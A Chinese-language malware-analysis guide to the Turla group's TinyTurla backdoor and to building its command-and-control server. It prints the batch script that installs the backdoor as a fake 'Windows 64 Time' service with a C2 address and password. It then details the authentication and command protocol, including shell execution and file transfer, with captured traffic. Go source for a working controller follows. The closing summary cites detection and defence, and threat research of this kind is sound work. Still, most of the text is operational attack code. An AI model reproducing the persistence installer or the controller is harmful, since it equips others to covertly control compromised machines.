逆向开发Turla组织TinyTurla后门控制端
字数 1378 2025-08-06 01:23:31
TinyTurla后门逆向分析与控制端开发指南
概述
TinyTurla是Turla APT组织使用的一款后门程序,主要用于在受害机器上维持秘密后门访问。本文档将详细介绍TinyTurla后门的运行机制、通信模型以及如何逆向开发其控制端。
后门运行场景复现
TinyTurla后门主要以服务DLL的形式出现,伪装为W64Time服务实现持久化驻留。安装过程通过.bat脚本完成:
copy "w64time.dll" %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start= auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Hosts /t REG_SZ /d "192.168.153.1 9090" /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Security /t REG_SZ /d "pass" /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeLong /t REG_DWORD /d 5000 /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeShort /t REG_DWORD /d 5000 /f
sc start W64Time
关键注册表配置项:
- Hosts:C&C服务器地址和端口
- Security:上线认证密码
- TimeLong:尝试访问C&C的间隔时间(毫秒)
- TimeShort:成功连接后的命令循环间隔时间(毫秒)
后门通信模型分析
通信流程
- 从注册表提取配置信息
- 使用WinHttp API建立TLS通信
- 上线认证过程:
- 发起GET请求,Title字段为机器MachineGuid
- 控制端响应0x00指令和认证密码
- 后门发送POST请求反馈认证结果
- 进入命令循环:
- 发起GET请求获取指令
- 控制端返回指令及内容
- 后门发送POST请求反馈执行结果
关键通信代码
TinyTurla使用WinHttp API建立安全连接:
WinHttpOpenRequest(..., WINHTTP_FLAG_SECURE); // 启用SSL/TLS
WinHttpSetOption(..., WINHTTP_OPTION_SECURITY_FLAGS, 0x3300); // 忽略证书错误
安全标志0x3300包含:
- SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
- SECURITY_FLAG_IGNORE_CERT_CN_INVALID
- SECURITY_FLAG_IGNORE_UNKNOWN_CA
- SECURITY_FLAG_IGNORE_WRONG_USAGE
远控指令集
| 指令 | 功能描述 |
|---|---|
| 0x00 | 身份验证 |
| 0x01 | 执行程序 |
| 0x02 | 执行shell命令 |
| 0x03 | 下载文件 |
| 0x04 | 上传文件 |
| 0x05 | 创建子进程 |
| 0x06 | 关闭子进程 |
| 0x07 | 子进程管道输入/输出 |
| 0x08 | 修改TimeLong配置 |
| 0x09 | 修改TimeShort配置 |
| 0x0A | 修改Security配置 |
| 0x0B | 修改Hosts配置 |
通信协议详解
上线认证过程
后门 -> 控制端 (GET请求)
GET / HTTP/1.1
Connection: Keep-Alive
Title: e6fab264-6650-45e4-aab1-faa484856338
Host: 192.168.153.1:9090
控制端 -> 后门 (响应)
HTTP/1.1 200 OK
Title: 11
pass
响应体为Unicode编码:00 70 00 61 00 73 00 73 00 00 00
后门 -> 控制端 (POST反馈)
POST / HTTP/1.1
Connection: Keep-Alive
Title: e6fab264-6650-45e4-aab1-faa484856338
Content-Length: 2
Host: 192.168.153.1:9090
0000
命令执行过程
控制端 -> 后门 (发送命令)
HTTP/1.1 200 OK
Title: 19
ipconfig
Unicode编码:69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 00 00
后门 -> 控制端 (执行结果)
POST / HTTP/1.1
Connection: Keep-Alive
Title: e6fab264-6650-45e4-aab1-faa484856338
Content-Length: 747
Host: 192.168.153.1:9090
Windows IP 配置...
以太网适配器 本地连接:
IPv4 地址 . . . . . . . . . . . . : 192.168.153.130
子网掩码 . . . . . . . . . . . . : 255.255.255.0
控制端开发实现
使用Golang实现TinyTurla控制端:
代码结构
main.go - 主程序,处理连接和命令分发
command.go - 通信协议处理函数
common.go - 通用工具函数
核心代码
main.go
func main() {
cert, err := tls.LoadX509KeyPair("server.crt", "server.key")
tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}}
ln, err := tls.Listen("tcp", ":9090", tlsConfig)
for {
conn, err := ln.Accept()
go handle_TinyTurla_Connection(conn)
}
}
func handle_TinyTurla_Connection(conn net.Conn) {
data_header := common.RecvHeader(conn)
if strings.Contains(string(data_header), "Content-Length") {
data_len, _ := strconv.Atoi(/*提取长度*/)
data_buf := common.RecvBuf(conn, data_len)
if data_len == 2 {
if hex.EncodeToString(data_buf) == "0000" {
fmt.Println("认证成功")
}
} else {
fmt.Println(string(common.BytesToGB2312(data_buf)))
}
common.SendCommond(conn, []byte{})
return
}
// 命令处理逻辑
fmt.Print("请选择需执行的功能:exit、help、auth、execute_process、shell\n>")
reader := bufio.NewScanner(os.Stdin)
if reader.Scan() {
text := reader.Text()
if text == "auth" {
common.SendCommond(conn, []byte{0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00})
} else if text == "execute_process" {
// 处理执行程序命令
} else if text == "shell" {
// 处理shell命令
}
}
}
command.go
func SendCommond(conn net.Conn, command []byte) {
response := "HTTP/1.1 200 OK\r\nTitle: " + strconv.Itoa(len(command)) + "\r\n\r\n" + string(command)
conn.Write([]byte(response))
}
common.go
func BytesToUnicodeBytes(buffer []byte) []byte {
var newBytes []byte
for _, b := range buffer {
newBytes = append(newBytes, b, 0x00)
}
return newBytes
}
总结
本文详细分析了TinyTurla后门的工作机制,包括:
- 服务安装和持久化技术
- 基于TLS的安全通信模型
- 自定义HTTP协议格式
- 完整的命令和控制流程
- 控制端的Golang实现方案
通过逆向分析和协议实现,可以深入理解APT组织使用的后门技术,并开发相应的检测和防御方案。